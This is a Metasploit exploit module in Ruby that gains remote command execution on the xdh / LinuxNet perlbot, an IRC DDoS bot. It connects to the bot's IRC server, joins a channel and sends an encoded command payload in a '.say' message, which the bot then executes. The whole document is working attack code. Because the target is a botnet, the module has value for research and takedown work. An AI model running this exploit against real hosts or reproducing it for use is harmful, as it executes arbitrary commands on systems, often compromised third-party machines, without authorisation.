Xdh / LinuxNet Perlbot / fBot IRC Bot – Remote Code Execution (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution', 'Description' => %q{ This module allows remote command execution on an IRC Bot developed by xdh. This perl bot was caught by Conor Patrick with his shellshock honeypot server and is categorized by Markus Zanke as an fBot (Fire & Forget - DDoS Bot). Matt Thayer also found this script which has a description of LinuxNet perlbot. The bot answers only based on the servername and nickname in the IRC message which is configured on the perl script thus you need to be an operator on the IRC network to spoof it and in order to exploit this bot or have at least the same ip to the config. }, 'Author' => [ #MalwareMustDie 'Jay Turla', # msf 'Conor Patrick', # initial discovery and botnet analysis for xdh 'Matt Thayer' # initial discovery for LinuxNet perlbot ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'https://conorpp.com/blog/a-close-look-at-an-operating-botnet/' ], [ 'URL', 'https://twitter.com/MrMookie/status/673389285676965889' ], # Matt's discovery [ 'URL', 'https://www.alienvault.com/open-threat-exchange/blog/elasticzombie-botnet-exploiting-elasticsearch-vulnerabilities' ] # details of what an fBot is ], 'Platform' => %w{ unix win }, 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd' } }, 'Targets' => [ [ 'xdh Botnet / LinuxNet perlbot', { } ] ], 'Privileged' => false, 'DisclosureDate' => 'Dec 04 2015', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(6667), OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']), OptString.new('NICK', [true, 'IRC Nickname', 'msfuser']), # botnet administrator name OptString.new('CHANNEL', [true, 'IRC Channel', '#channel']) ], self.class) end def check connect res = register(sock) if res =~ /463/ || res =~ /464/ vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") return Exploit::CheckCode::Unknown end res = join(sock) if !res =~ /353/ && !res =~ /366/ vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") return Exploit::CheckCode::Unknown end quit(sock) disconnect if res =~ /auth/ && res =~ /logged in/ Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end end def send_msg(sock, data) sock.put(data) data = "" begin read_data = sock.get_once(-1, 1) while !read_data.nil? data << read_data read_data = sock.get_once(-1, 1) end rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") end data end def register(sock) msg = "" if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty? msg << "PASS #{datastore['IRC_PASSWORD']}\r\n" end if datastore['NICK'].length > 9 nick = rand_text_alpha(9) print_error("The nick is longer than 9 characters, using #{nick}") else nick = datastore['NICK'] end msg << "NICK #{nick}\r\n" msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n" send_msg(sock,msg) end def join(sock) join_msg = "JOIN #{datastore['CHANNEL']}\r\n" send_msg(sock, join_msg) end def xdh_command(sock) encoded = payload.encoded command_msg = "PRIVMSG #{datastore['CHANNEL']} :.say #{encoded}\r\n" send_msg(sock, command_msg) end def quit(sock) quit_msg = "QUIT :bye bye\r\n" sock.put(quit_msg) end def exploit connect print_status("#{rhost}:#{rport} - Registering with the IRC Server...") res = register(sock) if res =~ /463/ || res =~ /464/ print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") return end print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...") res = join(sock) if !res =~ /353/ && !res =~ /366/ print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") return end print_status("#{rhost}:#{rport} - Exploiting the malicious IRC bot...") xdh_command(sock) quit(sock) disconnect end end |